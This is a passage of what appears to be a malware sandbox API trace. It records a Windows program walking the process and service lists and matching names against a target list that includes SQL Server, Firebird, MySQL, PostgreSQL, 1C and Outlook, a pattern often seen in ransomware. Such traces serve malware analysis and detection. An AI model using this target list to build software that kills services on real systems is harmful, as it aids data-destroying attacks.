lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0253.008] lstrlenW (lpString="userinit.exe") returned 12 [0253.008] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0253.008] lstrlenW (lpString="dwm.exe") returned 7 [0253.008] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0253.009] lstrlenW (lpString="explorer.exe") returned 12 [0253.009] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0253.009] lstrlenW (lpString="spoolsv.exe") returned 11 [0253.009] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0253.009] lstrlenW (lpString="taskhost.exe") returned 12 [0253.009] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.010] lstrlenW (lpString="svchost.exe") returned 11 [0253.010] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0253.010] lstrlenW (lpString="uyuquk.exe") returned 10 [0253.010] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0253.010] lstrlenW (lpString="reader_sl.exe") returned 13 [0253.010] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0253.010] CloseHandle (hObject=0x1bc) returned 1 [0253.010] Sleep (dwMilliseconds=0x1f4) [0253.622] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aec38 [0253.840] EnumServicesStatusExW (in: hSCManager=0x42aec38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0253.862] GetLastError () returned 0xea [0253.862] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x42e73a0 [0253.862] EnumServicesStatusExW (in: hSCManager=0x42aec38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e73a0, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e73a0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0253.872] CloseServiceHandle (hSCObject=0x42aec38) returned 1 [0253.872] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0253.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0253.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0253.872] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0253.872] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0253.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0253.872] lstrlenW (lpString="AudioSrv") returned 8 [0253.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0253.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0253.872] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0253.873] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0253.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0253.873] lstrlenW (lpString="BFE") returned 3 [0253.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0253.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0253.873] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0253.873] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0253.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0253.873] lstrlenW (lpString="CryptSvc") returned 8 [0253.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0253.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0253.873] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0253.873] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0253.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0253.873] lstrlenW (lpString="CscService") returned 10 [0253.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0253.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0253.873] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0253.873] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0253.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0253.873] lstrlenW (lpString="DcomLaunch") returned 10 [0253.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0253.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0253.873] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0253.873] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0253.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0253.873] lstrlenW (lpString="Dhcp") returned 4 [0253.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0253.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0253.873] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0253.873] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0253.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0253.873] lstrlenW (lpString="Dnscache") returned 8 [0253.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0253.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0253.874] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0253.874] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0253.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0253.874] lstrlenW (lpString="DPS") returned 3 [0253.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0253.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0253.874] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0253.874] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0253.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0253.874] lstrlenW (lpString="eventlog") returned 8 [0253.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0253.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0253.874] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0253.874] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0253.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0253.874] lstrlenW (lpString="EventSystem") returned 11 [0253.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0253.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0253.874] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0253.874] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0253.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0253.874] lstrlenW (lpString="gpsvc") returned 5 [0253.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0253.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0253.874] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0253.874] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0253.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0253.874] lstrlenW (lpString="LanmanWorkstation") returned 17 [0253.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0253.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0253.874] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0253.874] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0253.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0253.874] lstrlenW (lpString="lmhosts") returned 7 [0253.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0253.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0253.875] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0253.875] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0253.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0253.875] lstrlenW (lpString="MMCSS") returned 5 [0253.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0253.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0253.875] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0253.875] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0253.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0253.875] lstrlenW (lpString="MpsSvc") returned 6 [0253.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0253.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0253.875] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0253.875] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0253.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0253.875] lstrlenW (lpString="NlaSvc") returned 6 [0253.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0253.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0253.875] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0253.875] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0253.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0253.875] lstrlenW (lpString="nsi") returned 3 [0253.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0253.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0253.875] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0253.875] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0253.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0253.875] lstrlenW (lpString="PcaSvc") returned 6 [0253.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0253.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0253.875] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0253.875] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0253.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0253.875] lstrlenW (lpString="PlugPlay") returned 8 [0253.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0253.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0253.876] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0253.876] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0253.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0253.876] lstrlenW (lpString="Power") returned 5 [0253.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0253.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0253.876] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0253.876] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0253.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0253.876] lstrlenW (lpString="ProfSvc") returned 7 [0253.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0253.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0253.876] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0253.876] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0253.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0253.876] lstrlenW (lpString="RpcEptMapper") returned 12 [0253.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0253.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0253.876] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0253.876] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0253.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0253.876] lstrlenW (lpString="RpcSs") returned 5 [0253.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0253.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0253.876] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0253.876] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0253.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0253.876] lstrlenW (lpString="SamSs") returned 5 [0253.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0253.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0253.876] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0253.876] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0253.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0253.877] lstrlenW (lpString="Schedule") returned 8 [0253.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0253.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0253.877] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0253.877] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0253.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0253.877] lstrlenW (lpString="SENS") returned 4 [0253.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0253.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0253.877] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0253.877] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0253.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0253.877] lstrlenW (lpString="ShellHWDetection") returned 16 [0253.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0253.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0253.877] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0253.877] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0253.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0253.877] lstrlenW (lpString="Spooler") returned 7 [0253.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0253.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0253.877] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0253.877] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0253.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0253.877] lstrlenW (lpString="SysMain") returned 7 [0253.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0253.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0253.877] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0253.877] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0253.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0253.877] lstrlenW (lpString="Themes") returned 6 [0253.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0253.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0253.877] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0253.877] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0253.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0253.878] lstrlenW (lpString="TrkWks") returned 6 [0253.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0253.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0253.878] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0253.878] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0253.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0253.878] lstrlenW (lpString="UxSms") returned 5 [0253.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0253.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0253.878] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0253.878] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0253.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0253.878] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x42e73a0 | out: hHeap=0x530000) returned 1 [0253.878] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x324 [0253.880] Process32FirstW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.880] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0253.881] lstrlenW (lpString="System") returned 6 [0253.881] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0253.881] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0253.881] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0253.881] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0253.881] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0253.881] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0253.881] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0253.881] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0253.881] lstrlenW (lpString="smss.exe") returned 8 [0253.881] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0253.881] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0253.881] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0253.881] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0253.881] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0253.881] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0253.881] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0253.881] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.882] lstrlenW (lpString="csrss.exe") returned 9 [0253.882] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0253.882] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0253.882] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0253.882] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0253.882] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0253.882] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0253.882] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0253.882] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0253.882] lstrlenW (lpString="wininit.exe") returned 11 [0253.882] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0253.882] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0253.882] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0253.882] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0253.882] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0253.882] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0253.882] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0253.882] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.883] lstrlenW (lpString="csrss.exe") returned 9 [0253.883] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0253.883] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0253.883] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0253.883] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0253.883] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0253.883] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0253.883] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0253.883] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0253.883] lstrlenW (lpString="winlogon.exe") returned 12 [0253.883] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0253.883] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0253.883] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0253.883] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0253.883] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0253.883] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0253.883] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0253.883] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0253.884] lstrlenW (lpString="services.exe") returned 12 [0253.884] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0253.884] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0253.884] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0253.884] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0253.884] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 